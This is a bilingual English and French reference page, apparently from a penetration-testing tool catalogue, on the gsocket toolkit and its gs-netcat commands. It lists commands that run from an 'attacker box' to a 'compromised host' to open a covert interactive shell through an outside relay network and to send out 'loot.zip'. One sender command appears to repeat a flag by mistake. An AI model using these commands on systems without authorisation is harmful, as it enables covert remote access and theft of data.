Global Socket Toolkit (gsocket)
Établit une connexion TCP instantanée entre deux hôtes derrière NAT ou pare-feu sans redirection de port, utilisé pour le pivoting et les canaux discrets. Establishes an instant TCP connection between two hosts behind NAT or firewalls without port forwarding, used for pivoting and covert channels.
↗ https://www.gsocket.ioOverview
gsocket lets two machines find each other and establish a direct (or relayed) encrypted TCP connection using nothing but a shared secret — no port forwarding, no public IP, no firewall rule needed on either side. Both ends dial out to the Global Socket Relay Network, which is enough to punch through NAT. On engagements this is useful for maintaining a covert, firewall-agnostic channel back to a pivot host, or for interactive shells/file transfer when inbound access to the target network isn’t possible.
Common Usage
Generate a random secret to share between both ends
gs-netcat -g
Listener side (e.g. attacker box) — waits for the other end to connect
gs-netcat -s <secret> -l
Connect side (e.g. compromised host) — dials out to meet the listener
gs-netcat -s <secret>
Get an interactive shell over the gsocket channel
gs-netcat -s <secret> -l -i
File Transfer & Shell
Listener: prepare to receive a file
gs-netcat -s <secret> -l -r > received_file
Sender: push a file through the channel
gs-netcat -s <secret> -s < loot.zip
# Full interactive bash session (both ends)
# Listener:
gs-netcat -s <secret> -l -i
# Target:
gs-netcat -s <secret> -i
Tips
- The shared secret is the only authentication — treat it like a password, generate it with
gs-netcat -grather than choosing something guessable - Traffic is end-to-end encrypted and relayed through the public GSRN by default; self-hosting a relay is possible for fully private use
- Works even when both ends are behind separate NATs with no port forwarding on either side — ideal for pivoting into segmented networks
gs-mount(part of the same toolkit) can mount a remote filesystem over the same socket mechanism
Help / Man page
gs-netcat [-l] [-s <secret>] [options]
-g Generate a new random secret
-s <secret> Shared secret identifying this connection pair
-l Listen (server) mode — waits for peer
-i Interactive shell mode
-r Receive mode (file transfer)
-k <file> Use a specific secret file instead of -s
-e <command> Execute command on connect
-T Disable encryption (not recommended)
-q Quiet mode
-v Verbose output
Vue d’ensemble
gsocket permet à deux machines de se trouver et d’établir une connexion TCP chiffrée directe (ou relayée) en utilisant uniquement un secret partagé : pas de redirection de port, pas d’IP publique, aucune règle de pare-feu nécessaire d’aucun côté. Les deux extrémités contactent le Global Socket Relay Network, ce qui suffit à traverser le NAT. En mission, c’est utile pour maintenir un canal discret et indifférent au pare-feu vers un hôte de pivot, ou pour des shells interactifs/transferts de fichiers quand un accès entrant vers le réseau cible n’est pas possible.
Utilisation courante
# Générer un secret aléatoire à partager entre les deux extrémités
gs-netcat -g
# Côté écoute (par ex. machine attaquante) : attend que l'autre extrémité se connecte
gs-netcat -s <secret> -l
# Côté connexion (par ex. hôte compromis) : contacte l'écoute pour la rejoindre
gs-netcat -s <secret>
# Obtenir un shell interactif via le canal gsocket
gs-netcat -s <secret> -l -i
Transfert de fichiers et shell
# Écoute : se préparer à recevoir un fichier
gs-netcat -s <secret> -l -r > received_file
# Émetteur : pousser un fichier à travers le canal
gs-netcat -s <secret> -s < loot.zip
# Session bash interactive complète (les deux extrémités)
# Écoute :
gs-netcat -s <secret> -l -i
# Cible :
gs-netcat -s <secret> -i
Conseils
- Le secret partagé est la seule authentification : traitez-le comme un mot de passe, générez-le avec
gs-netcat -gplutôt que de choisir quelque chose de devinable - Le trafic est chiffré de bout en bout et relayé par défaut via le GSRN public ; auto-héberger un relais est possible pour un usage entièrement privé
- Fonctionne même quand les deux extrémités sont derrière des NAT séparés sans redirection de port d’aucun côté : idéal pour pivoter dans des réseaux segmentés
gs-mount(dans le même toolkit) peut monter un système de fichiers distant via le même mécanisme de socket
Aide / Page de manuel
gs-netcat [-l] [-s <secret>] [options]
-g Generate a new random secret
-s <secret> Shared secret identifying this connection pair
-l Listen (server) mode — waits for peer
-i Interactive shell mode
-r Receive mode (file transfer)
-k <file> Use a specific secret file instead of -s
-e <command> Execute command on connect
-T Disable encryption (not recommended)
-q Quiet mode
-v Verbose output